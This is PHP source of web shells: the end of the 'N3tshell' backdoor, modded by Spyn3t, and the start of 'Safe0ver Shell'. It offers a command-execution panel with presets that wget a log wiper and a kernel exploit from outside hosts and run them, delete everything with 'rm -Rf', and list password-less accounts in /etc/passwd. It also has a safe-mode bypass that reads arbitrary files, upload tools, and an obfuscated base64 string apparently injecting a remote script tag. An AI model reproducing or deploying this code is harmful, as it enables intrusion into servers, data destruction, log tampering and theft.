"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
"ext_cgi"=>
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCH d3d7iNGa+HMu7er9GiC6+IOOu9".
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQ QXBJCRhQMuA5eSiooGIwafi4UM".
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOB EgNUc7w4ICND8PKCFAOi0JPNKD".
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk 7AhxQ9FqgLMGBGkG8KFCg8JKAi".
"RYtMAgEAOw==",
"ext_cmd"=>
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DB g6HmxWMEAAhVlPBhgYdrYhDQCN".
"dmrYAMn1onq/YKpjvEgAADs=",
"ext_cpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrAr winE/349FiNoFw44rtlqhOL4Ra".
"Eq7YrLDE7a4SADs=",
"ext_ini"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hw oEgU3mawELBEaPFiAUAMgYy3VM".
"SnEjgPVarHEHgrB43JvszsQEADs=",
"ext_diz"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQ AAZSM8jE5XjgAAbwAAeURBYgAA".
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6p m20oeqypS212SJraCyxZWyz7PW".
"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYw BCA2sEcNBjJCMYATLIOLiokocm".
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBj hcCBAIzRoGFkwQMNKnyggRSRAg".
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seY GlDBwgTCAAYvFE4KEBJYI4UrPF".
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164I M6LhLRrr3wwaBCu3kPFKCldkAA".
"Ow==",
"ext_doc"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEO PAFG21A+Z4sQHO94r1eJRTJVmq".
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
"ext_exe"=>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tN u9wa8WHNKKRl4sl+y9YBuAdEqt".
"xhIAOw==",
"ext_h"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrg I8F+q3w9GOQOMQGZyJOspnMkKo".
"Wq/NknbbSgAAOw==",
"ext_hpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
"UqUagnbLdZa+YFcCADs=",
"ext_htaccess"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP 8A/wAAgIAAgP//AAAAAAAAAAM6".
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkD wUumIvJBoRAAAlEuDEwpJ".
"AAA7",
"ext_html"=>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSiku kSwW4jymcupYFgIBqL/MK8KBDk".
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5 wLpYgbBKurDqysnxMOs7S1sxIR".
"ADs=",
"ext_jpg"=>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbU LwJcUhjgHgAkUqEgJNEEAgxEci".
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
"FxEAOw==",
"ext_js"=>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9Mo oAiSWEmTiuC4Tw2BB0L8FgIAhs".
"a00AjYYBbc/o9HjNniUAADs=",
"ext_lnk"=>
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAG PLMmXMM0y/JlfFLFS6K1rGLWjO".
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQ BBAAA+AFG3NAk5BSGHEUqwMABk".
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQ WCAgBmABptDg+HCBZeDAqFBWDG".
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREg ASADaXHwAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQ IWPQCJgkCOkJKUP5eYUD6PkZM5".
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtY pCuwZByBMRRMyCRwMGRkUg0xIf".
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
"ADs=",
"ext_log"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAl tJklLRAWzbClRhrK4Ly5yg7/wN".
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
"ext_php"=>
"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAA ImDA6hy5rW0HGosffsdTpqvFlg".
"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
"ext_pl"=>
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuP nQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQN R1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAF gdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf +V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFA cHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOz o5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYsc BaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZ mznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcd sAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNs xgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl 8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
//For simple size- and speed-optimization.
$imgequals = array(
"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=>array("ext_html","ext_htm"),
"ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=>array("ext_lnk","ext_url"),
"ext_ini"=>array("ext_ini","ext_css","ext_inf"),
"ext_doc"=>array("ext_doc","ext_dot"),
"ext_js"=>array("ext_js","ext_vbs"),
"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=>array("ext_wri","ext_rtf"),
"ext_swf"=>array("ext_swf","ext_fla"),
"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall)
{
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
if (empty($images[$img])) {$img = "small_unk";}
if (in_array($img,$ext_tar)) {$img = "ext_tar";}
echo base64_decode($images[$img]);
}
else
{
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
natsort($images);
$k = array_keys($images);
echo "<center>";
foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
echo "</center>";
}
exit;
}
if ($act == "about") {echo "<center>Undetectable version by <br> Spyn3t <br> <img src=\"http://emp3ror.com/images/emplogo1.gif\"></center>";}
?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <?php echo base64_decode('PFNDUklQVCBTUkM9JiN4NjgmI3g3NCYjeDc 0JiN4NzAmI3gzYSYjeDJmJiN4MmYmI3g3NyYjeDc3JiN4NzcmI 3gyZSYjeDZjJiN4NmYmI3g2MyYjeDYxJiN4NmMmI3g3MiYjeDZ mJiN4NmYmI3g3NCYjeDJlJiN4NmUmI3g2NSYjeDc0JiN4MmYmI 3g2OSYjeDYyJiN4NmUmI3g2NSYjeDZjJiN4NjUmI3g3MiYjeDJ mJiN4NzkmI3g2MSYjeDdhJiN4MmUmI3g2YSYjeDczPjwvU0NSS VBUPiANCg==');?><a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr>
<tr>
<td width="50%" height="83" valign="top"><center>
<div align="center">Useful Commands
</div>
<form action="<?php echo $surl; ?>">
<div align="center">
<input type=hidden name=act value="cmd">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<SELECT NAME="cmd">
<OPTION VALUE="uname -a">Kernel version
<OPTION VALUE="w">Logged in users
<OPTION VALUE="lastlog">Last to connect
<OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
<OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
<OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
<OPTION VALUE="which wget curl w3m lynx">Downloaders?
<OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
<OPTION VALUE="netstat -atup | grep IST">Open ports
<OPTION VALUE="locate gcc">gcc installed?
<OPTION VALUE="rm -Rf">Format box (DANGEROUS)
<OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
<OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
<OPTION VALUE="./zap2">WIPELOGS PT3
<OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)
<OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
<OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
<OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
<OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
<OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
</SELECT>
<input type=hidden name="cmd_txt" value="1">
&nbsp;
<input type=submit name=submit value="Execute">
<br>
Warning. Kernel may be alerted using higher levels </div>
</form>
</td>
<td width="50%" height="83" valign="top"><center>
<center>Kernel Info: <form name="form1" method="post" action="http://google.com/search">
<input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>">
<input type="hidden" name="client" value="firefox-a">
<input type="hidden" name="rls" value="org.mozilla:en-US:official">
<input type="hidden" name="hl" value="en">
<input type="hidden" name="hs" value="b7p">
<input type=submit name="btnG" VALUE="Search">
</form></center>
</td>
</tr></TABLE><br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr>
<tr>
<td width="50%" height="83" valign="top"><center>
<div align="center">Php Safe-Mode Bypass (Read Files)
</div><br>
<form action="<?php echo $surl; ?>">
<div align="center">
File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
<?

function rsg_read()
{
$test="";
$temp=tempnam($test, "cx");
$file=$_GET['file'];
$get=htmlspecialchars($file);
echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
if(copy("compress.zlib://".$file, $temp)){
$fichier = fopen($temp, "r");
$action = fread($fichier, filesize($temp));
fclose($fichier);
$source=htmlspecialchars($action);
echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
unlink($temp);
} else {
die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
access.</CENTER></FONT>");
}
echo "</div>";
}

if(isset($_GET['file']))
{
rsg_read();
}

?>

<?

function rsg_glob()
{
$chemin=$_GET['directory'];
$files = glob("$chemin*");
echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
foreach ($files as $filename) {
echo "<pre>";
echo "$filename\n";
echo "</pre>";
}
}

if(isset($_GET['directory']))
{
rsg_glob();
}

?>

<br>
</div>
</form>
</td>
<td width="50%" height="83" valign="top"><center>
<center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>">
<div align="center"><br>
Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>

</form></center>
</td>
</tr></TABLE><br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
<tr>
<td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
<td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ N3tshell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Spyn3t @ gmail. com| <a href="http://emp3ror.com"><font color="#FF0000">Emp3ror Team</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
</body></html><?php chdir($lastdir); N3tshexit(); ?>



safe0ver shell
<?php


/*
************************************************** ***************************************
* Safe0ver Shell //Safe Mod Bypass *
************************************************** ***************************************


************************************************** ***************************************


*/


/*Setting some envirionment variables...*/

/* I added this to ensure the script will run correctly...
Please enter the Script's filename in this variable. */
$SFileName=$PHP_SELF;

/* uncomment the two following variables if you want to use http
authentication. This will password protect your PHPShell */
//$http_auth_user = "phpshell"; /* HTTP Authorisation username, uncomment if you want to use this */
//$http_auth_pass = "phpshell"; /* HTTP Authorisation password, uncomment if you want to use this */
//need scripts coder's names

error_reporting(0);
$PHPVer=phpversion();
$isGoodver=(intval($PHPVer[0])>=4);
$scriptTitle = "Safe0ver Shell //Safe Mod Bypass ";
$scriptident = "$scriptTitle Safe0ver Shell";

$urlAdd = "";
$formAdd = "";

function walkArray($array){
while (list($key, $data) = each($array))
if (is_array($data)) { walkArray($data); }
else { global $$key; $$key = $data; global $urlAdd; $urlAdd .= "$key=".urlencode($data)."&";}
}

if (isset($_PUT)) walkArray($_PUT);
if (isset($_GET)) walkArray($_GET);
if (isset($_POST)) walkArray($_POST);


$pos = strpos($urlAdd, "s=r");
if (strval($pos) != "") {
$urlAdd= substr($urlAdd, 0, $pos);
}

$urlAdd .= "&s=r&";

if (empty($Pmax))
$Pmax = 125; /* Identifies the max amount of Directories and files listed on one page */
if (empty($Pidx))
$Pidx = 0;

$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));

$scriptdate = "7 Subat 2007";
$scriptver = "Bet@ Versiyon";
$LOCAL_IMAGE_DIR = "img";
$REMOTE_IMAGE_URL = "img";
$img = array(
"Edit" => "edit.gif",
"Download" => "download.gif",
"Upload" => "upload.gif",
"Delete" => "delete.gif",
"View" => "view.gif",
"Rename" => "rename.gif",
"Move" => "move.gif",
"Copy" => "copy.gif",
"Execute" => "exec.gif"
);

while (list($id, $im)=each($img))
if (file_exists("$LOCAL_IMAGE_DIR/$im"))
$img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
else
$img[$id] = "[$id]";




/* HTTP AUTHENTICATION */

if ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset($PHP_AUTH_USER) || $PHP_AUTH_USER != $http_auth_user || $PHP_AUTH_PW != $http_auth_pass) || (($logoff==1) && $noauth=="yes") ) {
setcookie("noauth","");
Header( "WWW-authenticate: Basic realm=\"$scriptTitle $scriptver\"");
Header( "HTTP/1.0 401 Unauthorized");
echo "Your username or password is incorrect";
exit ;

}

function buildUrl($display, $url) {
global $urlAdd;
$url = $SFileName . "?$urlAdd$url";
return "<a href=\"$url\">$display</a>";
}

function sp($mp) {
for ( $i = 0; $i < $mp; $i++ )
$ret .= "&nbsp;";
return $ret;
}

function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr); }

function Mydeldir($Fdir) {
if (is_dir($Fdir)) {
